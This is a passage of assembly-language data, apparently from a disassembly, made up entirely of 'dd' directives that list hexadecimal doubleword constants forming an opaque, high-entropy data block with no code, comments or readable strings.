78263B31h, 9CC021Dh dd 14321B6h, 0E7A4D1D2h, 0F014C0DBh, 88019E5Ch, 1C4B37EEh dd 482DBABDh, 5BE8B901h, 0C8A04767h, 9403F153h, 0C4EC70EBh dd 1D9E80EAh, 40BA4F64h, 0AFE37F90h, 0D001756Eh, 9CD5C7B4h dd 28BF0DCEh, 0B0803536h, 0CE020B46h, 3E3B34D1h, 4610C831h dd 9B3FD117h, 0AB418F8Ch, 449E820Dh, 1C4789Fh, 43E93F83h dd 0BA69D5ACh, 0BDCA1889h, 2F3A41h, 5FB4106Ch, 0A8869CD1h dd 28D02BB0h dd 1012348h, 3B36D1C4h, 88CE186Eh, 0D10ECD74h, 0E0AAC37Dh dd 6DEDBA0Ch, 0BB2C1856h, 8AC08145h, 5800F37Bh, 0EEFFB7ADh dd 0F82A9C32h, 4C960001h, 22EC863Eh, 80EB68D7h, 6C35A559h dd 90E79914h, 0E8196001h, 9CCB3654h, 0E9B2CCA3h, 0E0169423h dd 901E73EBh, 2888F11Eh, 0D000973Bh, 1F17AADDh, 89DE0067h dd 0F25440FCh, 20003608h, 490B3E2Ch, 7C1BF16h, 2B447C35h dd 8EB2F0E9h, 0EE0004E8h, 6559616Fh, 2CA4EA8h, 0D5977819h dd 0FEC0C01Dh, 0A701F581h, 0C4363C32h, 0AA30EAABh, 0CB1B0E12h dd 858768BBh, 7BF538Eh, 0A4E489D8h, 80E3D239h, 5286D614h dd 65E15Eh, 0C2717419h, 0C0A7FBC5h, 0DA003B79h, 2C67113Dh dd 0FE100D88h, 6FEF00F4h, 0AD464316h, 0EE3D4F98h, 49F38706h dd 0F7A03951h, 2A47678h, 0A777BA24h, 55616A58h, 4F99C825h dd 39A84731h, 0CAD4DC71h, 654000B7h, 93F626D4h, 1E3B2112h dd 28C77717h, 29B076E7h, 0E75A059h, 8112E363h, 77B100DDh dd 0BD76B0CEh, 4E03B3E8h, 1341EF6h, 0A360005Ch, 7571777h dd 0BEF449A6h, 0E40AC800h, 6ED3E13Bh, 0A5F60050h, 0B263DF34h dd 591FAEFEh, 61006F31h, 6BAA77E9h, 0A7DA31A2h, 7F12E718h dd 0C0D925A0h, 1D1C0D29h, 780CCD5Ah, 0B0A25F96h, 0C46639E4h dd 95125B80h, 0A0D95944h, 0A3E89E00h, 2367E598h, 6141004Bh dd 0C560936Dh, 210395BBh, 4539B587h, 0CE78C036h, 106D002Eh dd 171C0733h, 0A00003AEh, 0A2BCDC96h, 0CF57AA81h, 565E771h dd 62901B48h, 93E06913h, 3601D1A8h, 0DEAA9571h, 47B880A5h dd 0E36096B7h, 0DCAD00CEh, 0B8097CAh, 23000A4Ah, 0F08F205Bh dd 18060F65h, 18961E3Ah, 9907E53Bh, 5C439587h, 0D501FC1h dd 2A224F08h, 18B45441h, 407922EFh, 40BB821h, 4C429B27h dd 0B8CD19BCh, 609661DDh, 0C2CE2C38h, 44F54A00h, 66A0C03Ah dd 11704C6Ah, 0D5641F0Ch, 78B203Dh, 0ECCF0320h, 5193C634h dd 4079CB4Ch, 9603E81Ch, 82B0EB03h, 0BEF1C13Eh, 94E0FBC1h dd 24A30C99h, 9B7131CEh, 0CC28F578h, 0FA780836h, 50ECD22h dd 0D69FF983h, 1859C004h, 0B952255Eh, 0DD172E94h, 26885F14h dd 18308E9Bh, 324ACBCh, 0F57A30F8h, 98730186h, 0F2FA3A0Dh dd 3E05838h, 420D0922h, 0AC065E60h, 316009B8h, 0DEA6321h dd 51160054h, 23112E9Bh, 0B420042Ah, 0CAD0EF2Ch, 4CA9DF01h dd 0BC19319Dh, 9600B07Dh, 42E4EB95h, 0B0779752h, 1E870AFh dd 789A1050h, 0D817215Ah, 96325459h, 30FCA05Ch, 78110D20h dd 36880E62h, 0D087980h, 0C86302h, 0F1589077h, 2B4F8EF2h dd 0CD019207h, 887B4A51h, 0AEA08C16h, 1901C376h, 0BA31E6A6h dd 63D0E789h, 0F420C04Fh, 8E65C3F1h, 1B44A001h, 2252B25Ah dd 9B47080h, 348DF472h, 0D3773Bh, 0E9F93EC3h, 291921A1h dd 7BB003F1h, 78D860FCh, 0EB6B1218h, 888800F8h, 0B0ACC3F4h dd 2BF65400h, 0F7C96125h, 0D20E150Ah, 0EA00FC4Ch, 0D320F878h dd 9E1A1975h, 90087DC5h, 7E708D70h, 265502F8h, 8A48BDCBh dd 21434C80h, 3148C410h, 357B117Ch, 693FAC42h, 0B29DB500h dd 0AF4D6E9Eh, 8D39813Fh, 61CD336Ah, 0BA34F800h, 4991C945h dd 58C29013h, 0A0D269C0h, 640C9100h, 0C4B4BD7Ch, 0C974FCh dd 936B60A2h, 45D0F388h, 9C1DC124h, 4982380h, 0B635D6h dd 80660E95h, 0EEAF1214h, 7C789479h, 180DDD22h, 81EE2ABh dd 41DFC2D1h, 0CDF50906h, 9C3C0089h, 9992B698h, 0B70E695Ah dd 0C072637Fh, 82FED3F2h, 0F139C12Bh, 0C0DB32F9h, 85000205h dd 0D0489EDDh, 3AACCFC6h, 54606C8Bh, 38974036h, 0C8F2B0C6h dd 0E7EF0369h, 6AF186Ch, 997753B0h, 5DCC7C00h, 9D4D61A3h dd 0F57E1863h, 54353134h, 99D6D205h, 0CF80848Fh, 71585AEh dd 437DC0E4h, 5827D980h, 0A842208Eh, 1D072E96h, 8A36F9D1h dd 2F85732h, 0C8A0B9D2h, 58F02AC7h, 0A426B707h, 52C037CBh dd 7AE90B2h, 0D918FBC1h, 0E4B547BEh, 0F14C8C5h, 0F0542402h dd 0E25F1548h, 90544161h, 3C281E30h, 13C88157h, 7CA32A00h dd 8D9922E4h, 2F0037FCh, 23F77FF2h, 5C68BA7Eh, 0F60F3250h dd 0A3007CFCh, 9EB47397h, 444C4F1Ch, 7154CB80h, 0C9CC7Eh dd 0A0D84D3Bh, 8A92F39Ch, 6CEEDA13h, 0CF2B6C02h, 0F52448E1h dd 0C920Ah, 1DF0C3CCh, 0CA7945DEh, 23AA2E00h, 126C9630h dd 0B9D815C4h, 640084BBh, 0CAF5B59Bh, 0CF4D8350h, 24381D98h dd 0BE232D00h, 0FC48654Bh, 175014ECh, 0FF00F2E2h, 98F8445Bh dd 11146F26h, 0FA0424E7h, 183F0BC3h, 0BC4C100Ch, 79185Dh dd 661B8BE3h, 88634EC2h, 8F3D1978h, 4FA60062h, 40690BB2h dd 8A5C1B79h, 619A281Ah, 2DB16200h, 3357C87h, 16F56E0Ah dd 6DD0BF44h, 3B00D11Ch, 0C9CF747Dh, 585282h, 0F66B46AEh dd 0F9A594ACh, 4F697E4h, 1341F000h, 0AA51BD7Bh, 507E28h dd 0BC1A990h, 0D44E3AA3h, 0E1EEFE00h, 0A26F7D1Dh, 8A191DD9h dd 7A6DC098h, 6CECC82Fh, 5B656800h, 0AEC52A80h, 0D54A0144h dd 0E0AB5FBCh, 0BAC8EC79h, 25C8600h, 0D030D95Ah, 0F920E61h dd 0F820AB5Bh, 0A4B429E8h, 0C6478D00h, 8B33771Ch, 188AE24Ah dd 0BAB253ACh, 0BA00A901h, 0F62F68A2h, 0E55836h, 57F777ABh dd 0E08E7C73h, 1CA8963h, 0C7A9C031h, 77D50090h, 0F32F3CE3h dd 0D00EF8CAh, 21878C0Ah, 0B3A10C30h, 6A9FE8h, 0B7640641h dd 6092637Ah, 0EE0F4C71h, 40956665h, 253B539Eh, 6218C079h dd 935ADBF0h, 690B1175h, 7E41CBh, 30152D13h, 22B40056h dd 677CE05Eh, 4B008F5Ah, 0AEEA6C08h, 7CE8A16h, 0FA62B2C1h dd 700691E6h, 42F6FC88h, 80B1503Eh, 3ECBDE34h, 49F9537h dd 0D7EC9E80h, 0C01C871Ah, 6A2759A2h, 0D1216100h, 0DE19301Dh dd 0EB2A0BDCh, 0A050EF07h, 53708560h, 763E3CBh, 0F7D72FB7h dd 7271C138h, 6A9AD475h, 0A283D01Eh, 34E5000h, 45EC7h dd 96B587E7h, 105520A4h, 377F5C90h, 0C6D13000h, 1E6A6E93h dd 48A3000Ch, 7757148Bh, 8671D275h, 62B09400h, 0FCADB7ECh dd 22010F6Fh, 0A9E1E7EEh, 83C0736Eh, 0FFAED599h, 0DB2CE063h dd 356F1F1Fh, 265C050h, 8B62C754h, 84264C00h, 36FEC4AAh dd 0B02500ECh, 0E1A99A2Ch, 49001590h, 16AD9322h, 0BB9814h dd 40E6F938h, 0B54FBCF6h, 64074C03h, 0B0329CEDh, 60BB106Ch dd 0C260D1EBh, 8AF2A69Dh, 0A9C490C0h, 0C981D64h, 0B8FF9E10h dd 0D900F419h, 0BD8E536Fh, 0BAFCC8h, 832C4294h, 0E3FD49DAh dd 0BC7A48h, 392FAEE7h, 20B8FB9h, 0F53533A8h, 606E40h dd 160715EDh, 3178BF2Eh, 0A0AEA1B2h, 0FF4E9B84h, 30190022h dd 0E2CB3AAh, 0C2E67C84h, 0A8E60F2Ah, 0B8998C0Eh, 8B3F661Fh dd 2A937E38h, 7CC0495Fh, 34C80165h, 0D0C3BFA9h, 0FB2FF472h dd 260F247Bh, 14A735EDh, 0C26900B2h, 64A2EF2Ah, 90AF1263h dd 222C4ED4h, 9235FD21h, 0D708C457h, 9190DC60h, 0C7F6C8DEh dd 61E27AB1h, 0C4615DA1h, 0D528817Fh, 0BC00D831h, 5E0472C6h dd 3F97C539h, 0CB005667h, 0E505AA2Ah, 50C1B19Dh, 0D302EB4Fh dd 1AA100C3h, 93EC071Dh, 0E930688Ch, 0F5F629BAh, 427150h dd 4B5FF11h, 0CFE985ABh, 0D998DA00h, 0C1C7EA9Ah, 1D090158h dd 889C3F40h, 0EBC058E2h, 0D4006F43h, 8F295DB1h, 0F403567Ch dd 525BFA0Bh, 51EDC919h, 5D28728Dh, 0B79330E8h, 0DD5EC115h dd 7A968098h, 0A8F0DFBEh, 0EC75C88h, 0CA97CB51h, 9ED94E80h dd 913F2DCFh, 6166999Dh dd 0B9E48080h, 51520AC8h, 0E0981A2Ah, 32BE63Ah, 0F1E858FAh dd 0AE003F72h, 6BB07C6Ch, 3A71D37Ah, 3B0A7861h, 4F548193h dd 0C6A54BE0h, 7279A7C1h, 0F45222F8h, 88007EACh, 456E0D14h dd 9521CACh, 0A2CFC5E8h, 996F4C02h, 0E5E6CE40h, 8B93818h dd 184E6191h, 11FD1628h, 7609FE4Ah, 27D4890Bh, 1E903D48h dd 3386535h, 30F80EC9h, 8FF09A66h, 0EB3BAC23h, 8864803Ah dd 9F872833h, 0DE0D129Dh, 1C3600D6h, 0ECA3ADEBh, 66F77000h dd 0B5D3E2C3h, 656F0083h, 41FFF5F2h, 3101A08Eh, 0A37C5E0Ah dd 0E13043B8h, 9F070465h, 90787F6Eh, 0FABA6C14h, 53BF9700h dd 3880E1A3h, 18C598E9h, 0B09D8978h, 0EA9E90FCh, 0B49B900h dd 9813C2E4h, 9CF70204h, 2C0E2FCFh, 0EC05A8C0h, 0C0C7EF0Bh dd 0C143804Ch, 3DBA723h, 1033A36h, 0BFE1B4BEh, 60FB3058h dd 0D4DD8B24h, 9834FFC3h, 18B55B73h, 189B3C80h, 0A22A2EA4h dd 0A8A0A83Ah, 8C26A786h, 1EEFB8C1h, 8D885D40h, 248AE41Eh dd 122065C7h, 2D604C2Ch, 801DBD8h, 0D9B87161h, 84500731h dd 49E09C73h, 0E6004CC2h, 57B88127h, 0B301F792h, 993610BDh dd 0BC519D98h, 72F555A2h, 162424h, 4B11C169h, 8B5AB989h dd 0D340B500h, 67C879D4h, 8E981BD1h, 0A0A7E943h, 1399E2Ah dd 3B62E458h, 0E09500ACh, 0C02F18DCh, 0E89498B1h, 4DF200B3h dd 38DDA7F3h, 6700471Ah, 4026517Ch, 0D83DA2h, 4521C05Bh dd 775FCB2Ch, 0C62E8801h, 0C06F37Ch, 30F239C8h, 8D786D6Bh dd 5475B3A4h, 0F3DB5F00h, 0F5E7DF0h, 4D26029Eh, 0D4AE42FAh dd 8AE1EC68h, 0A9CE5300h, 641CE51Fh, 0A410070Ah, 0B39D82CDh dd 2A88FFA1h, 0AA3C285Dh, 757B85A8h, 0CD00C979h, 0D8BF088h dd 0E3E70087h, 90B7FEBCh, 0D613B592h, 2C0B27AFh, 0A1FC2179h dd 0CC343234h, 91B50148h, 9DF11B42h, 0C0E9D047h, 60180B26h dd 8A282480h, 18206415h, 0D89E6837h, 0A0E8CC1h, 0B2352114h dd 66802B1Eh, 0E6010BA2h, 12E4707Eh, 4007F8h, 3465949h dd 8617BB52h, 0F38020C0h, 745318Dh, 4BBF0276h, 85E11094h dd 0B600ED0Ch, 0BE3D9768h, 3563EB8h, 32490942h, 0DAC008A6h dd 0D800A2B3h, 249CF603h, 9A538FDCh, 1589265Ch, 315A80CCh dd 87191A96h, 645649h, 0FAEEBB01h, 25B944h, 335D1BFEh dd 0E95A0E38h, 82C90307h, 0BE902D18h, 14A8E90h, 0CA9ABCBBh dd 442E1D06h, 867CC098h, 5500E4B8h, 0BE17838Fh, 92DFDC78h dd 1DF800D0h, 0A7A4DD67h, 630076D1h, 5E47EDF5h, 3B10CAAh dd 9E6ABD2Ch, 3FA0F8FAh, 68FCD499h, 0C418EF00h, 0CF30F62h dd 0B3503B09h, 88D37B80h, 1A6075EEh, 0BFAB3C02h, 649DD8CAh dd 98E73888h, 72CB348h, 3ACAC38h, 5C645DEEh, 0ED0780CCh dd 573B29F0h, 6C1D00DBh, 0CBF69ED5h, 7A4B0E0h, 96234925h dd 0DAB7A304h, 7F9D2290h, 0D47B49h, 0D2A48703h, 0E768917h dd 267E2FBEh, 0BC50480h, 79023239h, 0D9AB53A0h, 0EAD84082h dd 49A3Eh, 0CCE54F80h, 0ECF689CEh, 21B6200h, 4394A49Ah dd 3BFC1FA5h, 0FEF040DEh, 35B7F56Ch, 0C3479013h, 712C4440h dd 0D72853h, 0DF9D0968h, 8A5DAD0Dh, 20352D0Bh, 5B1800E8h dd 0FED7BBh, 7047C0FCh, 595B622h, 2CEBAB02h, 0D48EF84Eh dd 7F26007Eh, 976558C9h, 86D760C1h, 1024197Bh, 5CF27C56h dd 2D0F9455h, 0B7E048F3h, 0A50E4EEBh, 63A33D00h, 97F6AC11h dd 23310737h, 0C201FD9Dh, 0ACA1BE16h, 0DB59DE71h, 814D6000h dd 6DBB74F5h, 8A70E04h, 0F0A62DF8h, 9B04216Eh, 622F77A8h dd 0EF606091h, 78759C32h, 0A98C5B8h, 9D84C03Eh, 1800ED65h dd 0E2206B01h, 1D1E24FAh, 80A67B5Ah, 0AAA026DAh, 1B17AEFFh dd 5404E9E3h, 0ECB047D4h, 4D4B9845h, 371DB8AAh, 0B41D95F1h dd 69466501h, 5089BC95h, 0A009BAA8h, 0CA448E05h, 0D8C625h dd 46310067h, 0F8F51EA1h, 8D01A4E9h, 0AB8268ECh, 60875C2Fh dd 6D7DB38h, 8900118Fh, 98BA0FA3h, 773B58BEh, 5718DE8Dh dd 48A30050h, 4EAC9BC5h, 6605F57Fh, 0C6C08B52h, 15A93888h dd 0DC64EB36h, 6E869A01h, 28956B61h, 14B3B08Ch, 432900F1h dd 0BFF8AE79h, 0DD0493ABh, 0ACC4C3BDh, 75FF6C80h, 1D3B00AFh dd 7D33ECAh, 77798419h, 625FB21Fh, 8DB386C0h, 154E0640h dd 0C8DACA87h, 0AF361B31h, 5686CCE8h, 22ED1403h, 0B05F5780h dd 79C4F52Bh, 0C38E0C77h, 68984898h, 90DEFF00h, 0C4C12E09h dd 54DB047h, 0E4853F58h, 8D1CC0B1h, 18F8D6A3h, 0C04E95Dh dd 40469AF4h, 1E3303ACh, 8932CF40h, 712688CEh, 0A781C866h dd 73459F77h, 7A851881h, 9E35486Fh, 85FF3E11h, 1C90A2B0h dd 32776F80h, 0F1AF003Fh, 2E01785h, 6C01871Eh, 99FBFCAAh dd 0E8E8057Dh, 79F2E034h, 16F300BFh, 9E04ABF5h, 0E10E2652h dd 803C3571h, 0B57497BEh, 70B91F7Ah, 44BC805Ah, 3049963Fh dd 2C79CF00h, 0F5D7DEFDh, 1B5C24A0h, 3F870048h, 61D4D59Eh dd 0CC9827h, 0AF8B6F98h, 876B05EEh, 80E306C7h, 32C4FCAFh dd 9562410Fh, 815784E7h, 0E4F7E4D7h, 24B3F980h, 5A27D3Dh dd 0B28DB4A4h, 65E881BDh, 0FAC8C766h, 2500D923h, 9F0BC87Bh dd 7EE78Dh, 0C910208Ah, 649D5D2Bh, 0DD39F600h, 9FF968D2h dd 0A04C1FB7h, 793FB5h, 0D8EF3FE0h, 1AA4BD7Ch, 5A98660Bh dd 5F16005Dh, 0DA931Bh, 865CE04Eh, 0DE8FBF39h, 800D4C39h dd 7C9BA8D4h, 0E0A581h, 722582DBh, 34966CADh, 5EE8A100h dd 0CF7E3F1h, 0BD580066h, 0D8575BAAh, 0FD793D80h, 4FE47700h dd 5F437BCh, 3F670063h, 39C91942h, 32007448h, 753C2C66h dd 69256Dh, 0AC7CC35h, 204A1236h, 702E1A98h, 7800205Bh dd 0BE4E7604h, 6C270039h, 0FB3EEC1Eh, 7B003874h, 562BA4Ah dd 0F0C23C15h, 0E18303FEh, 0A1D16B36h, 606E94E1h, 2850CD91h dd 330077D4h, 8531B83Dh, 0BF9FB7Dh, 5BB16037h, 40E75907h dd 0F3903621h, 7C38AC02h, 58678B79h, 856E004Ch, 0C6B9F2D6h dd 1302D587h, 974FA69Fh, 3876E0ABh, 0F9414EDh, 0A9000C11h dd 6732F857h, 8500D347h, 137F3A93h, 9CC952CAh, 2B1B0094h dd 0F512F089h, 6E4E3500h, 6D4B05EEh, 47F20EA0h, 5DD859h dd 98088AB5h, 2700F717h, 0EAEBF02Ch, 26127Dh, 0DBAB7C07h dd 0C9E0A9A4h, 56883Bh, 0EF540108h, 36A295h, 1C11676Fh dd 0A13904A8h, 0A0690CA8h, 32AE5407h, 7A60FA50h, 90A9344Eh dd 36956071h, 0CA6CBBE7h, 320FF2B0h, 404E07E3h, 654BE89Ch dd 0B26200F4h, 47388C17h, 793CEB90h, 2EDD0099h, 91FF122Fh dd 0D2CC007Fh, 0A5A0733Ch, 283976F3h, 0B150009Bh, 0ED2AC189h dd 67E3009Dh, 70DB785Ch, 0A615FEAh, 5DAF8AB0h, 18F483DCh dd 10140995h, 5603E3F9h, 0F8D70470h, 0CD06988Dh, 547E3Dh dd 297D6B39h, 0C59ACCA9h, 0C800C1FAh, 7F574995h, 1AF9190h dd 1931720Eh, 834537AEh, 23D15F28h, 0CA20AF3Dh, 1D89970Ch dd 40EF3Ch, 43C7ED8Ah, 0D3004C99h, 0F72B6A25h, 0A3CCC87h dd 0DB4D8363h, 73E00D7h, 659FFC0Ah, 0D4272B00h, 85FE3246h dd 1BB00022h, 0F8B58687h, 8B00CF95h, 538AAA01h, 0C02637h dd 18986DEBh, 0FC0F10D8h, 7D510200h, 0D2D1F82h, 0F8905Eh dd 0DB70F938h, 0D5591B9Ch, 0BFC92700h, 36514975h, 5FE50098h dd 0FA94AB31h, 2F00881Ch, 8D906926h, 74254A8Ah, 299501ADh dd 0E317E0ABh, 0FB30307Fh, 0AC6BE07h, 8540C2DCh, 4A9733A1h dd 58C445CAh, 76BC00B8h dd 7150E4DAh, 826DD8F9h, 0C29BBF00h, 7E9FEB2Ah, 0E95301FDh dd 0E2DE302Ch, 40C0DDDCh, 113ECC90h, 5BD10803h, 0E86FDF66h dd 7AC828Dh, 0ABA8B65Eh, 0C879E0F8h, 0BB01A4F2h, 15AFA1Ah dd 4BF41149h, 0F6850B0Ah, 0C802533h, 0F438139Eh, 1DAC981Eh dd 0C803F52h, 0B4A7FD96h, 6DA50008h, 8DAB4ADDh, 452EDC07h dd 0FCF13CAh, 0BC5600BDh, 76EE0E68h, 73260295h, 21812C24h dd 27E868C3h, 30E8E2A7h, 0CCBACE00h, 98289D65h, 0C55A00B8h dd 0EE38FB9Ah, 78C10BFFh, 0ECBC5711h, 640160BCh, 0C3AA3F9h dd 4923E83Dh, 949850A1h, 15F2F838h, 105C2822h, 0B098A6A1h dd 8174194Ah, 44ABC305h, 100AB596h, 0BC9C7823h, 0F8A13B40h dd 3DE2930Eh, 0C8007B96h, 0A5805D10h, 4A00ED29h, 76DE2B3Eh dd 770D6715h, 0CC9A1C91h, 2CCAC0A9h, 2E9E6120h, 3C6B8607h dd 0EEF1AB16h, 63F025F9h, 769417E7h, 31C84012h, 98A6D138h dd 891A5375h, 84491h, 0D1575110h, 0DDA600BFh, 695ACB48h dd 3A313264h, 2D0D5010h, 2A46E050h, 163E03D2h, 1D223265h dd 0E859205Bh, 0EF189778h, 98ABD108h, 40CDC53Bh, 0D1066284h dd 0F1E2B011h, 0F8028100h, 3156C8A6h, 0B2400066h, 67619C52h dd 0A4A898AFh, 0B300EBFFh, 0E8434E50h, 0D03549h, 462F69AAh dd 6E2E42B2h, 0E2D46700h, 0E345AD95h, 0B3803E3Bh, 0DB1D7C83h dd 0ECE8C41Ch, 2E002D8Ch, 0B91B9FC6h, 72355B1h, 0B5160D2h dd 19B0205Fh, 3801E1BCh, 0D7CE7D07h, 9EC1ACCh, 0B04372A6h dd 2E99001Bh, 6619B3B4h, 0F13B7290h, 4B9B80BCh, 7D1EEFF2h dd 63FE772Eh, 71A518E4h, 3D8F5906h, 0E8312F76h, 0AC0401CAh dd 0F82E9B2Bh, 5022F36Bh, 8B613F77h, 40AF4F80h, 124CAA1Bh dd 0E1F23375h, 8A711A01h, 5539C451h, 63D8C0F9h, 497D44h dd 3F25CC5Bh, 5C6E15EDh, 33C9718h, 0EC5FD81h, 9BA57BF3h dd 942DBBA0h, 0B3005391h, 0EABCE539h, 603C462Eh, 0A16331ECh dd 6600FB82h, 77E61783h, 1C064Bh, 0F82775D2h, 3C65F5FAh dd 80A93E3Ch, 88BE1344h, 5068FE1Dh, 3AE8946Bh, 63000384h dd 510BC11Bh, 26607ADAh, 703A7761h, 0BAEC0597h, 832A0Fh dd 815646ABh, 47F4D930h, 1300EAE0h, 8FCD08Bh, 0C6E18E97h dd 86737048h, 0D3AE1502h, 40F48C54h, 6FFA1Fh, 927D7FA5h dd 46FCCCFDh, 0AE1EEA7Ah, 1FF8199h, 0F8B1FF3Dh, 8CFCCD83h dd 1642F293h, 7181C8Fh, 10A2ED3Eh, 0CCF4BE5Eh, 0F200D2B0h dd 0F35AAC14h, 1D2B07C5h, 49C0F10Dh, 0CD837650h, 0B1A0A058h dd 0B70E26F4h, 80CD7120h, 54DB6B3Ch, 37C200E4h, 1FF1AEBh dd 30068A7h, 0D2BA8A7Eh, 60AFEE2h, 6487B38Fh, 4F7D806Eh dd 0B1FCCF00h, 0E42BC4F2h, 3E77153h, 0D7B080B3h, 6E0CDEBh dd 4A00A208h, 2FB4B5A9h, 3576E9Bh, 43385D44h, 0A1E09D8Dh dd 94607D01h, 1079FCC8h, 0DC2E0711h, 0E031405Fh, 6DB9C99Bh dd 0B27DA600h, 0E6E57A72h, 0FCEC00F8h, 57B7E409h, 0AC773ECBh dd 3A64B007h, 0EEC05BC5h, 0BF80B8h, 81DFC1BAh, 0E32DF5B3h dd 0DE97FB14h, 86DC0A84h, 1A83C088h, 1C0250EEh, 0F03BA250h dd 9CA12E90h, 0F75EFE00h, 8AAE3A33h, 0E6BE0F9Bh, 0CFA040F1h dd 591D7775h, 0CCFBED0Eh, 3C102003h, 759DD2ACh, 5B3A01C6h dd 547CFEB6h, 0B356DC79h, 7644F902h, 974818DEh, 9B00F504h dd 77D957E0h, 8E21067Bh, 207DD227h, 2D5F4400h, 0FB65DA70h dd 33950061h, 0B8A404B2h, 0BF3A0F4Fh, 0A85B8078h, 0C4945E79h dd 8982E2Ch, 5DF10056h, 0E84EB965h, 0D682671Bh, 0EF110271h dd 0EEBF4251h, 82D0E0E3h, 0A40046D3h, 8C5629AEh, 775AB9Dh dd 2B3690DFh, 0BFD870E3h, 5B1F6A0Ch, 0C1B038BDh, 2E2D56Eh dd 0B2C4C3EFh, 3480FA79h, 0FDAD4A3Eh, 6946D100h, 0BE5F94F9h dd 56B87Bh, 0EE7A49Fh, 0C31D1650h, 8F3D560Ch, 37A381Bh dd 91E82573h, 0C7C8221Ch, 0D900F1CFh, 0DB353D43h, 54B1756Ah dd 0A2A348Ah, 0C99CDF52h, 9FAB40ACh, 4D01249Dh, 41EEB879h dd 0C7A488h, 0B5F37821h, 0D8622C60h, 654E75Ch, 410409D4h dd 0A0F20020h, 52EEBCB5h, 0A6000DD3h, 0B2CD1ED0h, 30DA96F8h dd 5A694F3Ah, 0F50C1BF4h, 91D9676Bh, 0FE200003h, 4C50B763h dd 0DD00C9FAh, 6B4FEA84h, 47CF292h, 0B35E85A8h, 9424721h dd 0FFFAF760h, 0D3241806h, 6B7A619Dh, 7700F3Fh, 349779E3h dd 0C1110140h, 15DB1E91h, 81E4A9A8h, 814CFE70h, 5009CDE9h dd 0CFCC3CD0h, 6E89581Ch, 0FE31F258h, 0A8533111h, 83FCE881h dd 0AEDABD78h, 80082A34h, 507708h, 9504A0E2h, 11695796h dd 4A1BFD04h, 2883743Bh, 4B3EF1FEh, 240C4917h, 0CA9F8A0h dd 673C2323h, 35414A20h, 79DC8338h, 0A0D35441h, 4C231B85h dd 0E006C070h, 1C3BBD03h, 4EC137D1h, 0AAB88029h, 0F11D1F41h dd 0BCC97B10h, 85341839h, 0A4435435h, 29B030A8h, 0BA81A1D6h dd 0F006E0A8h, 94C9F800h, 7A277F99h, 81B5000Fh, 0CE41A755h dd 17623CBAh, 20CC6779h, 4ED9086Bh, 49DC3900h, 9526892Eh dd 36520F9h, 0A6AA2C06h, 31823Eh, 923D5B7Eh, 75B23621h dd 8C748DB8h, 20AC8A30h, 33BF374h, 50B3CD65h, 8E0EB5Bh dd 0A658DBFEh, 2923814Ch, 250019E2h, 6618E7D5h, 0EDC9BFB3h dd 0AEE63091h, 0DDEF79E8h, 0C3416B02h, 49061CB5h, 36F4F8h dd 0A8A0D59Eh, 39A52200h, 448AD39Ah, 0FC690D02h, 482134ACh dd 34BCB990h, 49A940h, 5B0D3BECh, 67304E21h, 80319A1h dd 3707183h, 0EDF69F87h, 91ACE816h, 87926720h, 0FB20A9F9h dd 71593FE0h, 107200A1h, 0DB88FC2h, 3700D583h, 6B6D1BAh dd 0A40ACDBDh, 1B8520C4h, 621A7C00h, 0B26B22A4h, 83000FCh dd 16EC9CBh, 0A0693FFFh, 8B210091h, 8E6756h, 0F7331094h dd 0AFA80DD7h, 0A76D0A13h, 89C3BC09h, 0BF00226Ah, 0FC706439h dd 79A70127h, 4FB2A166h, 0BE199F05h, 0E480CFDFh, 50560725h dd 1CA0009Ah, 0A35C906Eh, 26018334h, 0BBCE70B2h, 39807A77h dd 66EDCA1h, 210936F7h, 1081AC2Fh, 3FC294C4h, 6A81BEADh dd 0AFE23072h, 179FC8B2h, 33543903h, 369147C1h, 0B13855B1h dd 0D5C2CF10h, 0F9CD6718h, 5D023406h, 0BDD45387h, 718C6BBh dd 1D11AEE8h, 0F14E3073h, 0BE04A7AAh, 8B338CFFh, 253088Ch dd 57590598h, 0E3804771h, 630F49Ch, 0D6013AF8h, 3F761EA4h dd 54246CD2h, 1F9B0768h, 21606F5Dh, 203AC7A5h, 21C06EF0h dd 411FF28Fh, 223753Dh, 53D8AA9Eh, 90903CBDh, 2A035105h dd 0AD5AC098h, 0CFBB0Ah, 0C92990F0h, 0FED95F3Dh, 9443A406h dd 0E2D082BAh, 2EB70FCFh, 5764420h, 2A746210h, 6A234Ch dd 3EB575E6h, 791D7EC0h, 0F980235Bh, 7BB1A3D9h, 31A824A6h dd 0B353410Ch, 11D02496h, 80CEA58h, 0C71BDA6h, 0F297B70h dd 0CC19DD07h, 92F3DF42h, 0ED190078h, 0AB946AB5h, 6613FF60h dd 8032B89Ch, 0BF9D2170h, 0FFFC246Ch, 7997BC18h, 3D49641h dd 0DA9557EBh, 0C91F4B3Fh, 0A9C49C20h, 892EC6Fh, 301446C1h dd 2CA182CDh, 9C3EC4B9h, 3E5D83E9h, 0BF492AF1h, 0BD20F4F0h dd 0B66B12AAh, 32884076h, 9E407DDCh, 0A697CD07h, 8A607263h dd 2E7F4167h, 2030E0E4h, 4B061454h, 241E88AEh, 4644226Fh dd 82B900C8h, 3564F11Bh, 7800950Eh, 63DDA9FEh, 0F609A1BFh dd 8806002Bh, 5F61667Eh, 0C1C0A5B3h, 0C23CC75Eh, 7BBD0194h dd 3F44660Dh, 0F55882DFh, 0C16AF8AAh, 4470A5F8h, 2491C0F4h dd 0DBBC4EE0h, 0F7EDAF09h dd 0AE2800A9h, 4A9821h, 93B2A761h, 0B45FDD52h, 350924FAh dd 2080DE6Ch, 0EDAD4E48h, 0C074F413h, 0EECF3238h, 70FA5139h dd 8BD5070Ch, 4849494Bh, 0FC8018C7h, 232808A1h, 5D0318A4h dd 868A0626h, 74FEBFBh, 3B0BBCC1h, 9136C02Bh, 38008061h dd 6803DC58h, 180263h, 0E77026C3h, 5B2D6CDh, 0CBDA8100h dd 29B324EFh, 5F4132FCh, 0A762FAC8h, 0B9484463h, 0D7AE8018h dd 0A956CBD8h, 0C851749Ch, 0B531D63Dh, 761126EFh, 811EE8h dd 70ECE713h, 3B00BEA6h, 6FCF278Ah, 90B2BFE8h, 2B46FCh dd 35B11F97h, 84A48280h, 0E8B6144h, 0F333C2CEh, 97C2ACCEh dd 0A8803C2Dh, 76E86CBEh, 6D648A0h, 9FADD91Eh, 0BF9596FAh dd 0F4331C4Ah, 5C323589h, 0A62300B0h, 0B2C4C640h, 1794E449h dd 0D801853Eh, 0B3E22548h, 11050829h, 0FBC03B5h, 8FA6D5F0h dd 0C8C820D1h, 1F90C0E8h, 2821354Ah, 189F9187h, 0CBE88BBAh dd 0CE740112h, 42FF41C6h, 933C2446h, 0D8E0A933h, 28D2809Ah dd 708B861h, 4F338A49h, 